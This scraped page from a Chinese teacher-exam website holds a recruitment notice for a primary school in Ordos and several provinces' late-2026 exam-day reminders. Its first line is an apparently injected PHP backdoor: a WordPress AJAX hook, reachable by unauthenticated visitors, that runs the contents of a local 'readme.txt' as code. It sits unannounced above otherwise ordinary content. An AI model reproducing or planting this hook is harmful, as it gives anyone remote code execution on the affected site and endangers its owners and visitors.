if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
内蒙古鄂尔多斯市第一中学附属小学2025年教师招聘需求计划-全国教师资格考试网

内蒙古鄂尔多斯市第一中学附属小学2025年教师招聘需求计划

鄂尔多斯市第一中学附属小学坐落于鄂尔多斯市二期公务员小区,毗邻中心公园,处于水岸新城的中心位置。学校由伊金霍洛旗人民政府投资,是一所由伊旗政府、鄂尔多斯市第一中学和乌兰发展集团三方合作办学的公办小学。学校占地面积65亩,建筑面积20083.06多平方米,学校教育教学设施完善、设备先进、条件优越。

学校2021年秋季开始招生,现共有一至四年级21个教学班,873名学生,实行小班化教学模式。学校现有专任教师65人,其中研究生20人,名 师及骨干教师22人。

作为一所附属小学,学校充分发挥合作办学的机制优势,以市一中先进的办学理念和深厚的文化积淀为依托,致力于创建崇真尚美、润泽方圆的优质学校,成就师德高尚、业务精湛的卓越教师和志存高远、知书达理的儒雅学子,全力打造一所环境优雅、管理精细、追求卓越的精品小学。

一、岗位需求

语文、数学、英语若干人。

二、应聘条件

1.热爱学生,热爱教育事业,身心健康,协作意识强。

2.应往届毕业生:国家双一流建设高校(学科)、部属师范院校、省属重点师范院校2025年毕业的优秀应届毕业生和2023年、2024年毕业的优秀往届毕业生。具有博士、硕士或学士学位,学业优秀,素质全面,具有优秀教师的潜质和禀赋。

3.成熟教师:国家正式在职教师,至今仍在一线工作,具有普通高等院校相关专业全日制本科及以上学历,中级以上职称,具备应聘岗位要求的教师资格证书,年龄在35周岁左右,专业对口,教学业绩突出。

4.名优教师:国家正式在职教师,至今仍在一线工作、具有普通高等院校相关专业全日制本科及以上学历、中级以上职称、具备应聘岗位要求的教师资格证书、原则上年龄在45周岁(男)或40周岁(女)以下、获得过地市级及以上“学科带头人”称号的教师,专业对口,教学业绩特别突出。

三、招聘流程

1.资格初审:登录我校(本部)官网招聘管理系统或扫描二维码进行线上报名(网址:https://zp.eedsyz.cn),按要求填写简历信息。

内蒙古鄂尔多斯市第一中学附属小学2025年教师招聘需求计划

 

2.校园招聘考核:我校将在相关院校和市一中本部举行专场联合招聘会,招聘会时间、地点将在网上提前公布,应聘者可按照规定时间统一参加面试、试讲等考核项目。

3.校内考核:初审通过者,应聘者按照规定时间统一参加校本部组织的面试、笔试、试讲等考核项目。

4.结果反馈:考核结果确定后,学校将向录用人员及时反馈录用信息,具体以电话或短信通知为准,未入围者恕不另行通知。

四、工作待遇

(一)基本待遇。凡被录用的教师,享受正常工资福利,实行试用期制度(新聘用人员属初次就业的,试用期为1年,试用期包括在聘用合同期限内),试用期内学生、社会评价满意,学校考核合格及以上,给予正式聘用,试用期考核不合格的,予以解聘。

(二)惠师待遇。为进一步提高教师的社会地位、职业地位,不断增强职业幸福感和成就感,2023年9月伊旗推出“惠师”七项举措。

1.健康惠师。每两年组织40周岁以上教职工到二甲以上公立医院进行专项体检1次,设立教师“专 家问诊周”。

2.疗养惠师。针对优秀教师和教龄30年以上在教育教学岗位上的教师提供异地疗养。

3.营养惠师。按照每人每天30元标准为教师提供营养餐。

4.住房惠师。旗属国有房地产企业面向新聘教师和引进教师在购买首套住房时给予市场价9折优惠,向年轻教师提供部分公租房周转使用。

5.形象惠师。统一设计制作教师工作服,彰显教师身份,提升教师形象。

6.学历惠师。在职教师继续深造取得硕士学位、博士学位分别给予学费50%和80%的奖励。

7.服务惠师。在窗口单位设置“教师优先”标识,为教师办事提供便利。

(三)绩效待遇

1.奖励绩效。中小学教师绩效工资按照年人均4万元标准核定,县域高中和农村牧区教师绩效工资按照年人均6万元标准核定。

2.班主任津贴。义务教育阶段学校班主任津贴提高至2000元/月,普通高中班主任津贴提高至2500元/月,寄宿制学校在此基础上增加500元/月。

(四)政策待遇

由教师招聘工作领导小组根据应聘者面试、笔试、面谈等环节的综合成绩,按照优秀、良好、合格划定录用等级,受聘者按录用等级享受对应待遇。

1.综合成绩优秀者。对招聘综合成绩优秀的全日制硕士及以上学历研究生给予100平方米现房安置或40万元货币安置;对招聘综合成绩优秀的教育部直属6所师范院校、双一流建设高校(学科)本科生给予80平方米现房安置或30万元货币安置;名优教师提供1套120平方米住房。不选择享受住房待遇的,可申请享受安家费(具体按照规定另行折算)。

享受商品住房待遇的,在教师一年考核期合格后,申请兑现房屋,超出享受住房规定的平米数由个人按市场价格购买。服务期满10年,考核合格办理产权,否则退还学校。房屋契税、两供基金、装修等费用由教师本人承担。安家费在教师一年考核期合格后分3年支付,服务期满10年归个人所有,否则全额退还学校。安家费所涉及的税费由教师个人承担。

2.综合成绩良好者。对招聘综合成绩良好的全日制硕士及以上学历研究生给予12万元安家费补贴;对招聘综合成绩良好的6所教育部直属师范院校、双一流建设高校(学科)本科生给予10万元安家费补贴。

3.综合成绩合格者。仅招聘引进,不享受政策待遇。

4.招聘的教师由学校提供食宿。

5.引进的成熟教师和名优教师。除享受符合条件的待遇外,当年入职时无试用期,保留原有职称及工资待遇,按学历和工龄享受定级工资,直接参加次年岗位设置。

(五)其它未尽事宜,请随时关注学校相关公告通知,或直接电话咨询。

五、联系方式

胡老师:15149511117

李老师:15690973384

通讯地址:内蒙古自治区鄂尔多斯市第一中学附属小学

邮编:017200

鄂尔多斯市第一中学附属小学

2024年10月20日

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部